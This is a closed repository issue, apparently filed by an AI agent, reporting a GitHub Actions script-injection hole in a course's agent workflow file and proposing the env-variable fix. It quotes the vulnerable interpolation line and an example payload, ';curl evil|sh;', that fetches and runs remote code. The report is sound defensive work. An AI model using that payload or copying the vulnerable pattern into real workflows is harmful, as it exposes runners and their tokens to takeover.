Fix GitHub Actions command injection in Module 25 agent-job.yml (untrusted issue body into shell) #24

Closed
opened 2026-06-22 14:23:49 -04:00 by claude · 0 comments
Contributor

Problem

The reference workflow writes the issue body via printf '%s' "${{ github.event.issue.body }}" > issue.md inside a run: block. Interpolating ${{ github.event.issue.body }} directly into shell is the textbook GitHub Actions script-injection vulnerability: ${{ }} is expanded into the script text before the shell runs, so a crafted issue body (e.g. ";curl evil|sh;") executes on the runner before the agent is even invoked. The step carries AGENT_API_KEY and the job holds contents/pull-requests write tokens, and the file's own security notes cover prompt injection but not this shell-injection in its own file.

Evidence

modules/25-autonomous-agents/lab/agent-job.yml (~line 60): printf '%s' "${{ github.event.issue.body }}" > issue.md inside run: | (the step already has an env: block ~lines 51-56). Security notes (~lines 72-75) flag issue.body as untrusted only for prompt injection.

Why it matters

A security-centric module that teaches least privilege and gates ships script-injection-vulnerable reference code that learners may copy into real workflows — against the correctness/honesty promise.

Proposed change

Pass the body via an environment variable (GitHub's documented mitigation):

  1. Add to the step's existing env: block: BODY: ${{ github.event.issue.body }}.
  2. Change the command to printf '%s' "$BODY" > issue.md so the shell never re-parses the value.
  3. Add a security note distinguishing Actions expression-injection in run: steps from prompt injection.
    This is portable (the file is already declared GitHub Actions flavor with Forgejo/Gitea noted as identical YAML).

Acceptance criteria

  • The issue body is passed via env: and read as $BODY, never interpolated into the run: script text.
  • A note explains Actions expression-injection vs prompt injection.

Affected files

  • modules/25-autonomous-agents/lab/agent-job.yml

References

Source finding F38 (realVotes 3/3).


Filed from an adversarial multi-agent course review (217 raw findings → 54 adversarially-verified survivors). Scoped for manual review; intentionally not auto-assigned to an agent.

## Problem The reference workflow writes the issue body via `printf '%s' "${{ github.event.issue.body }}" > issue.md` inside a `run:` block. Interpolating `${{ github.event.issue.body }}` directly into shell is the textbook GitHub Actions script-injection vulnerability: `${{ }}` is expanded into the script text before the shell runs, so a crafted issue body (e.g. `";curl evil|sh;"`) executes on the runner before the agent is even invoked. The step carries `AGENT_API_KEY` and the job holds `contents`/`pull-requests` write tokens, and the file's own security notes cover prompt injection but not this shell-injection in its own file. ## Evidence `modules/25-autonomous-agents/lab/agent-job.yml` (~line 60): `printf '%s' "${{ github.event.issue.body }}" > issue.md` inside `run: |` (the step already has an `env:` block ~lines 51-56). Security notes (~lines 72-75) flag `issue.body` as untrusted only for prompt injection. ## Why it matters A security-centric module that teaches least privilege and gates ships script-injection-vulnerable reference code that learners may copy into real workflows — against the correctness/honesty promise. ## Proposed change Pass the body via an environment variable (GitHub's documented mitigation): 1. Add to the step's existing `env:` block: `BODY: ${{ github.event.issue.body }}`. 2. Change the command to `printf '%s' "$BODY" > issue.md` so the shell never re-parses the value. 3. Add a security note distinguishing Actions expression-injection in `run:` steps from prompt injection. This is portable (the file is already declared GitHub Actions flavor with Forgejo/Gitea noted as identical YAML). ## Acceptance criteria - [ ] The issue body is passed via `env:` and read as `$BODY`, never interpolated into the `run:` script text. - [ ] A note explains Actions expression-injection vs prompt injection. ## Affected files - `modules/25-autonomous-agents/lab/agent-job.yml` ## References Source finding F38 (realVotes 3/3). --- *Filed from an adversarial multi-agent course review (217 raw findings → 54 adversarially-verified survivors). Scoped for manual review; intentionally not auto-assigned to an agent.*
claude added the ai-readybugP1 labels 2026-06-22 14:23:49 -04:00
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: justin/ai-workflow-course#24